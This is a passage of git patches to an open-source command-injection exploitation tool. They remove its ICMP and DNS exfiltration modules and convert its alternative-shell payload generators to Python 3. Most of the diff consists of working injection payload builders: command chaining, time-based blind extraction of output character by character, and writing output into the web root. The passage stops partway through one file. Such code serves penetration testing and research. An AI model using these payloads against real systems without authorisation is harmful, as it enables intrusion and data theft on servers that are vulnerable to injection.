err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - print("\n" + settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - os._exit(0) - - if settings.TARGET_OS == "win": - err_msg = "This module's payloads are not suppoted by " - err_msg += "the identified target operating system." - print(settings.print_critical_msg(err_msg) + "\n") - os._exit(0) - - else: - technique = "ICMP exfiltration module" - info_msg ="Loading the " + technique + ". \n" - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - - ip_data = menu.options.ip_icmp_data - - # Source IP address - ip_src = re.findall(r"ip_src=(.*),", ip_data) - ip_src = ''.join(ip_src) - - # Destination IP address - ip_dst = re.findall(r"ip_dst=(.*)", ip_data) - ip_dst = ''.join(ip_dst) - - exploitation(ip_dst, ip_src, url, http_request_method, vuln_parameter, technique) - -if __name__ == "__main__": - icmp_exfiltration_handler(url, http_request_method) - -# eof \ No newline at end of file diff --git a/src/core/modules/modules_handler.py b/src/core/modules/modules_handler.py index 04e772b1b3..e604f25695 100644 --- a/src/core/modules/modules_handler.py +++ b/src/core/modules/modules_handler.py @@ -25,30 +25,6 @@ """ def load_modules(url, http_request_method, filename): - # Check if defined the ICMP exfiltration module - if menu.options.ip_icmp_data : - try: - # The ICMP exfiltration module - from src.core.modules.icmp_exfiltration import icmp_exfiltration - # The ICMP exfiltration handler - icmp_exfiltration.icmp_exfiltration_handler(url, http_request_method) - except ImportError as err_msg: - print("\n" + settings.print_critical_msg(err_msg)) - raise SystemExit() - raise SystemExit() - - # Check if defined the DNS exfiltration module - if menu.options.dns_server : - try: - # The DNS exfiltration module - from src.core.modules.dns_exfiltration import dns_exfiltration - # The DNS exfiltration handler - dns_exfiltration.dns_exfiltration_handler(url, http_request_method) - except ImportError as err_msg: - print("\n" + settings.print_critical_msg(err_msg)) - raise SystemExit() - raise SystemExit() - # Check if defined the shellshock module if menu.options.shellshock : try: diff --git a/src/utils/menu.py b/src/utils/menu.py index 0ecf8de967..78fe3a3900 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -408,17 +408,6 @@ def banner(): # Modules options modules = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Modules" + Style.RESET_ALL, "These options can be used increase the detection and/or injection capabilities.") -modules.add_option("--icmp-exfil", - action="store", - dest="ip_icmp_data", - default=False, - help="The 'ICMP exfiltration' injection module. (e.g. 'ip_src=192.168.178.1,ip_dst=192.168.178.3').") - -modules.add_option("--dns-server", - action="store", - dest="dns_server", - default=False, - help="The 'DNS exfiltration' injection module. (Domain name used for DNS exfiltration attack).") modules.add_option("--shellshock", action="store_true", diff --git a/src/utils/settings.py b/src/utils/settings.py index 73312dd725..4526e71893 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -234,7 +234,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "75" +REVISION = "76" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From a333129e77b4b887d3b7161cd614f69c24e036d3 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 6 Jun 2022 08:32:39 +0300 Subject: [PATCH 0153/1023] Improvement regarding alternative shell (i.e.`--alter-shell`) for generating Python 3x payloads. --- doc/CHANGELOG.md | 1 + .../techniques/time_based/tb_payloads.py | 133 ++++++++------- src/core/injections/controller/controller.py | 6 +- .../techniques/classic/cb_payloads.py | 16 +- .../techniques/eval_based/eb_payloads.py | 4 +- .../techniques/file_based/fb_payloads.py | 16 +- .../techniques/tempfile_based/tfb_payloads.py | 152 +++++++++--------- src/core/main.py | 15 +- src/utils/settings.py | 29 ++-- 9 files changed, 197 insertions(+), 175 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index ca70c3d3fa..e0f40c072b 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.5 (TBA) +* Revised: Improvement regarding alternative shell (i.e.`--alter-shell`) for generating Python 3x payloads. * Removed: The depricated modules "ICMP exfiltration" and "DNS exfiltration" have been removed. * Revised: Improvement regarding identifying injection marker (i.e. asterisk) in provided options. * Revised: Improvement regarding shellshock module. diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index 5f3e803687..d90fdaf3ba 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -81,7 +81,7 @@ def decision(separator, TAG, output_length, timesec, http_request_method): elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(output_length) + " != $(echo " + TAG + " " + + "[ " + str(output_length) + " -ne $(echo " + TAG + " " + pipe + "tr -d '\\n' " + pipe + "wc -c) ] " + separator + "sleep " + str(timesec) ) @@ -95,7 +95,7 @@ def decision(separator, TAG, output_length, timesec, http_request_method): """ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_method): if settings.TARGET_OS == "win": - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print len(\'" + TAG + "\')\"" + python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\"" if separator == "||" : payload = (separator + " " "for /f \"tokens=*\" %i in ('cmd /c " + @@ -119,10 +119,10 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me if separator == ";" : payload = (separator + # Find the length of the output, using readline(). - "str1=$(python -c \"print len(\'" + TAG + "\')\")" + separator + - "if [ " + str(output_length) + " != ${str1} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + + "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\")" + separator + + "if [ " + str(output_length) + " -ne ${str1} ]" + separator + + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + "fi " ) @@ -130,10 +130,10 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me #separator = "\n" payload = (separator + # Find the length of the output, using readline(). - "str1=$(python -c \"print len(\'" + TAG + "\')\")" + separator + - "if [ " + str(output_length) + " != ${str1} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + + "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\")" + separator + + "if [ " + str(output_length) + " -ne ${str1} ]" + separator + + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + "fi " ) @@ -141,11 +141,11 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + " " - "$(python -c \"import time\ntime.sleep(0)\") " + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + # Find the length of the output, using readline(). - "str1=$(python -c \"print len(\'" + TAG + "\')\")" + separator + + "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\")" + separator + "[ " + str(output_length) + " -eq ${str1} ] " + separator + - "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\") " + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " ) #if menu.options.data: separator = _urllib.parse.unquote(separator) @@ -154,8 +154,8 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me pipe = "|" payload = (pipe + # Find the length of the output, using readline(). - "[ " + str(output_length) + " != $(python -c \"print len(\'" + TAG + "\')\") ] " + separator + - "$(python -c \"import time\ntime.sleep(0)\") " + pipe + "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + "[ " + str(output_length) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\") ] " + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" ) else: pass @@ -166,7 +166,10 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me settings.HOST_INJECTION == True or \ settings.CUSTOM_HEADER_INJECTION == True: payload = payload.replace("\n",";") - + else: + if settings.TARGET_OS != "win": + payload = payload.replace("\n","%0d") + return payload """ @@ -235,7 +238,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): elif separator == "||" : pipe = "|" payload = (pipe + - "[ " +str(output_length)+ " != $(echo -n \"$(" + cmd + ")\" " + + "[ " +str(output_length)+ " -ne $(echo -n \"$(" + cmd + ")\" " + pipe + "tr -d '\\n' " + pipe + "wc -c) ] " + separator + "sleep " + str(timesec) ) @@ -271,10 +274,10 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque if separator == ";" : payload = (separator + # Find the length of the output, using readline(). - "str1=$(python -c \"print len(\'$(echo $(" + cmd + "))\')\")" + separator + - "if [ " + str(output_length) + " != ${str1} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + + "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'$(echo $(" + cmd + "))\'))\")" + separator + + "if [ " + str(output_length) + " -ne ${str1} ]" + separator + + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + "fi " ) @@ -282,10 +285,10 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque #separator = "\n" payload = (separator + # Find the length of the output, using readline(). - "str1=$(python -c \"print len(\'$(echo $(" + cmd + "))\')\")" + separator + - "if [ " + str(output_length) + " != ${str1} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + + "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'$(echo $(" + cmd + "))\'))\")" + separator + + "if [ " + str(output_length) + " -ne ${str1} ]" + separator + + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + "fi " ) @@ -293,11 +296,11 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "$(python -c \"import time\ntime.sleep(0)\") " + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + # Find the length of the output, using readline(). - "str1=$(python -c \"print len(\'$(echo $(" + cmd + "))\')\")" + separator + + "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'$(echo $(" + cmd + "))\'))\")" + separator + "[ " + str(output_length) + " -eq ${str1} ] " + separator + - "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\") " + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " ) #if menu.options.data: separator = _urllib.parse.unquote(separator) @@ -306,8 +309,8 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque pipe = "|" payload = (pipe + # Find the length of the output, using readline(). - "[ " + str(output_length) + " != $(python -c \"print len(\'$(echo $(" + cmd + "))\')\") ] " + separator + - "$(python -c \"import time\ntime.sleep(0)\") " + pipe + "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + "[ " + str(output_length) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'$(echo $(" + cmd + "))\'))\") ] " + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" ) else: pass @@ -318,7 +321,9 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque settings.HOST_INJECTION == True or \ settings.CUSTOM_HEADER_INJECTION == True: payload = payload.replace("\n",";") - + else: + if settings.TARGET_OS != "win": + payload = payload.replace("\n","%0d") return payload """ Get the execution output, of shell execution. @@ -394,7 +399,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " != $(" + cmd + pipe + "tr -d '\\n'" + + "[ " + str(ascii_char) + " -ne $(" + cmd + pipe + "tr -d '\\n'" + pipe + "cut -c " + str(num_of_chars) + pipe + "od -N 1 -i" + pipe + "head -1" + pipe + "awk '{print$2}') ] " + separator + "sleep " + str(timesec) @@ -409,7 +414,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met """ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): if settings.TARGET_OS == "win": - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print ord(os.popen('" + cmd + "').read().strip()[" + str(num_of_chars-1) + ":" + str(num_of_chars) + "])\"" + python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print(ord(os.popen('" + cmd + "').read().strip()[" + str(num_of_chars-1) + ":" + str(num_of_chars) + "]))\"" if separator == "||" : payload = (separator + " " "for /f \"tokens=*\" %i in ('cmd /c " + @@ -432,20 +437,20 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http else: if separator == ";" : payload = (separator + - "str=$(python -c \"print ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "])\nexit(0)\")" + separator + - "if [ " + str(ascii_char) + " != ${str} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\")" + separator + + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + "fi " ) elif separator == "%0a" : #separator = "\n" payload = (separator + - "str=$(python -c \"print ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "])\nexit(0)\")" + separator + - "if [ " + str(ascii_char) + " != ${str} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\")" + separator + + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + "fi " ) @@ -453,10 +458,10 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "$(python -c \"import time\ntime.sleep(0)\") " + separator + - "str=$(python -c \"print ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "])\nexit(0)\")" + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\")" + separator + "[ " + str(ascii_char) + " -eq ${str} ] " + separator + - "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" ) #if menu.options.data: separator = _urllib.parse.unquote(separator) @@ -464,8 +469,8 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " != $(python -c \"print ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "])\nexit(0)\") ] " + separator + - "$(python -c \"import time\ntime.sleep(0)\") " + pipe + "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + "[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\") ] " + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" ) else: @@ -477,7 +482,9 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http settings.HOST_INJECTION == True or \ settings.CUSTOM_HEADER_INJECTION == True: payload = payload.replace("\n",";") - + else: + if settings.TARGET_OS != "win": + payload = payload.replace("\n","%0d") return payload """ @@ -539,7 +546,7 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " != \"$(" + cmd + ")\" ] " + separator + + "[ " + str(ascii_char) + " -ne \"$(" + cmd + ")\" ] " + separator + "sleep " + str(timesec) ) else: @@ -574,20 +581,20 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt else: if separator == ";" : payload = (separator + - "str=$(python -c \"print $(echo $(" + cmd + "))\n\")" + separator + - "if [ " + str(ascii_char) + " != ${str} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print($(echo $(" + cmd + ")))\n\")" + separator + + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + "fi " ) elif separator == "%0a" : #separator = "\n" payload = (separator + - "str=$(python -c \"print $(echo $(" + cmd + "))\n\")" + separator + - "if [ " + str(ascii_char) + " != ${str} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print($(echo $(" + cmd + ")))\n\")" + separator + + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + "fi " ) @@ -595,10 +602,10 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "$(python -c \"import time\ntime.sleep(0)\") " + separator + - "str=$(python -c \"print $(echo $(" + cmd + "))\n\")" + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print($(echo $(" + cmd + ")))\n\")" + separator + "[ " + str(ascii_char) + " -eq ${str} ] " + separator + - "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" ) #if menu.options.data: separator = _urllib.parse.unquote(separator) @@ -606,8 +613,8 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " != $(python -c \"print $(echo $(" + cmd + "))\n\") ] " + separator + - "$(python -c \"import time\ntime.sleep(0)\") " + pipe + "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + "[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print($(echo $(" + cmd + ")))\n\") ] " + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" ) else: @@ -619,6 +626,8 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt settings.HOST_INJECTION == True or \ settings.CUSTOM_HEADER_INJECTION == True: payload = payload.replace("\n",";") - + else: + if settings.TARGET_OS != "win": + payload = payload.replace("\n","%0d") return payload # eof \ No newline at end of file diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 4210fd607c..ee24a265bb 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -70,6 +70,10 @@ def check_for_stored_levels(url, http_request_method): Heuristic (basic) tests for command injection """ def command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers): + if menu.options.alter_shell: + basic_payloads = settings.ALTER_SHELL_BASIC_COMMAND_INJECTION_PAYLOADS + else: + basic_payloads = settings.BASIC_COMMAND_INJECTION_PAYLOADS if not header_name == " cookie" and not the_type == " HTTP header": header_name = " " + str(http_request_method) settings.CLASSIC_STATE = True @@ -77,7 +81,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, whitespace = settings.WHITESPACES[0] if not settings.IDENTIFIED_COMMAND_INJECTION or settings.MULTI_TARGETS: _ = 0 - for payload in settings.BASIC_COMMAND_INJECTION_PAYLOADS: + for payload in basic_payloads: _ = _ + 1 if not inject_http_headers or (inject_http_headers and "'Host'" in check_parameter): payload = _urllib.parse.quote(payload) diff --git a/src/core/injections/results_based/techniques/classic/cb_payloads.py b/src/core/injections/results_based/techniques/classic/cb_payloads.py index ab791c2c11..3b64637dfd 100755 --- a/src/core/injections/results_based/techniques/classic/cb_payloads.py +++ b/src/core/injections/results_based/techniques/classic/cb_payloads.py @@ -79,9 +79,9 @@ def decision(separator, TAG, randv1, randv2): def decision_alter_shell(separator, TAG, randv1, randv2): if settings.TARGET_OS == "win": if settings.SKIP_CALC: - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print '" + TAG + "'%2B'" + TAG + "'%2B'" + TAG + "'\"" + python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print('" + TAG + "'%2B'" + TAG + "'%2B'" + TAG + "')\"" else: - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print '" + TAG + "'%2Bstr(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))" + "%2B'" + TAG + "'%2B'" + TAG + "'\"" + python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print('" + TAG + "'%2Bstr(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))" + "%2B'" + TAG + "'%2B'" + TAG + "')\"" payload = (separator + "for /f \"tokens=*\" %i in ('cmd /c " + @@ -91,16 +91,16 @@ def decision_alter_shell(separator, TAG, randv1, randv2): else: if settings.SKIP_CALC: payload = (separator + - settings.LINUX_PYTHON_INTERPRETER + " -c \"print'" + TAG + + settings.LINUX_PYTHON_INTERPRETER + " -c \"print('" + TAG + TAG + - TAG + "'\"" + TAG + "')\"" ) else: payload = (separator + - settings.LINUX_PYTHON_INTERPRETER + " -c \"print'" + TAG + + settings.LINUX_PYTHON_INTERPRETER + " -c \"print('" + TAG + "'%2Bstr(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))" + "%2B'" + TAG + "'%2B'" + - TAG + "'\"" + TAG + "')\"" ) return payload @@ -161,11 +161,11 @@ def cmd_execution_alter_shell(separator, TAG, cmd): if settings.USE_BACKTICKS: payload = (separator + - settings.LINUX_PYTHON_INTERPRETER + " -c \"print'" + TAG + "'%2B'" + TAG + "'%2B'`" + cmd + "`" + TAG + "'%2B'" + TAG + "'\"" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print('" + TAG + "'%2B'" + TAG + "'%2B'$(echo `" + cmd + ")`" + TAG + "'%2B'" + TAG + "')\"" ) else: payload = (separator + - settings.LINUX_PYTHON_INTERPRETER + " -c \"print'" + TAG + "'%2B'" + TAG + "'%2B'$(" + cmd + ")'%2B'" + TAG + "'%2B'" + TAG + "'\"" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print('" + TAG + "'%2B'" + TAG + "'%2B'$(echo $(" + cmd + "))'%2B'" + TAG + "'%2B'" + TAG + "')\"" ) return payload diff --git a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py index 91f5da7cd6..6e56523500 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py @@ -91,7 +91,7 @@ def decision(separator, TAG, randv1, randv2): """ def decision_alter_shell(separator, TAG, randv1, randv2): if settings.TARGET_OS == "win": - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print str(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))\"" + python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print(str(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + ")))\"" if settings.SKIP_CALC: if separator == "": payload = ("print(`echo " + TAG + "`." + @@ -120,7 +120,7 @@ def decision_alter_shell(separator, TAG, randv1, randv2): ) else: - python_payload = settings.LINUX_PYTHON_INTERPRETER + " -c \"print str(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))\"" + python_payload = settings.LINUX_PYTHON_INTERPRETER + " -c \"print(str(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + ")))\"" if settings.SKIP_CALC: if separator == "": payload = ("print(`echo " + TAG + "`." + diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py index 53a20f9b53..bedb6ba0b9 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py @@ -52,7 +52,7 @@ def decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE): ) else: payload = (separator + - "$(python -c \"f=open('" + settings.WEB_ROOT + OUTPUT_TEXTFILE + "','w')\nf.write('" + TAG + "')\nf.close()\n\")" + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f=open('" + settings.WEB_ROOT + OUTPUT_TEXTFILE + "','w')\nf.write('" + TAG + "')\nf.close()\n\")" ) if settings.USER_AGENT_INJECTION == True or \ @@ -61,10 +61,8 @@ def decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE): settings.CUSTOM_HEADER_INJECTION == True : payload = payload.replace("\n", separator) else: - if not settings.TAMPER_SCRIPTS['base64encode'] and \ - not settings.TAMPER_SCRIPTS['hexencode']: - if settings.TARGET_OS != "win": - payload = payload.replace("\n","%0d") + if settings.TARGET_OS != "win": + payload = payload.replace("\n","%0d") return payload @@ -113,7 +111,7 @@ def cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE): ) else: payload = (separator + - "$(python -c \"f=open('" + settings.WEB_ROOT + OUTPUT_TEXTFILE + "','w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f=open('" + settings.WEB_ROOT + OUTPUT_TEXTFILE + "','w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" ) # New line fixation @@ -123,10 +121,8 @@ def cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE): settings.CUSTOM_HEADER_INJECTION == True: payload = payload.replace("\n", separator) else: - if not settings.TAMPER_SCRIPTS['base64encode'] and \ - not settings.TAMPER_SCRIPTS['hexencode']: - if settings.TARGET_OS != "win": - payload = payload.replace("\n","%0d") + if settings.TARGET_OS != "win": + payload = payload.replace("\n","%0d") return payload diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index 5890c1fb4d..536d27dcbe 100755 --- 